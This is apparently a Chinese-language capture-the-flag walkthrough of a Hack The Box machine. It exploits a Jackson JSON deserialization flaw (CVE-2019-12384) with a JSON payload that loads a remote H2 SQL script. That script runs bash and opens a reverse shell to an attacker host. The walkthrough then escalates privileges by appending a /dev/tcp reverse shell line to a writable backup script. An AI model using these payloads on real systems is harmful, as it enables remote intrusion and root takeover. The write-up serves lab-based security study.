0x00 信息收集
nmap -Pn -p- -T4 --min-rate=1000 10.10.10.214
nmap -Pn -sCV -p 22,80 10.10.10.214
打开80端口查看页面,只有一个输入框功能,根据title看出是一个json解析器
尝试对路径进行爆破,未发现可利用的地方。
0x01 漏洞利用
尝试进行输入,在第二种模式下输入产生了报错。
Google搜索 com.fasterxml.jackson.core 发现存在RCE
利用方式
https://github.com/jas502n/CVE-2019-12384
创建一个inject.sql文件,内容如下
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.16/4444 0>&1')
开启http服务后,在网页输入框中执行如下命令
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.16:8000/inject.sql'"}]
成功得到shell
0x02 权限提升
上传linpeas.sh文件至目标机器
发现一个权限可疑的备份脚本
直接写入弹shell的命令
echo -e '\nbash -i >& /dev/tcp/10.10.14.16/4433 0>&1' >> /usr/bin/timer_backup.sh
这个shell不是很稳定,大概10s左右就会断开。
另一种稳定的shell思路,在脚本中mkdir一个.ssh文件,然后ssh登录。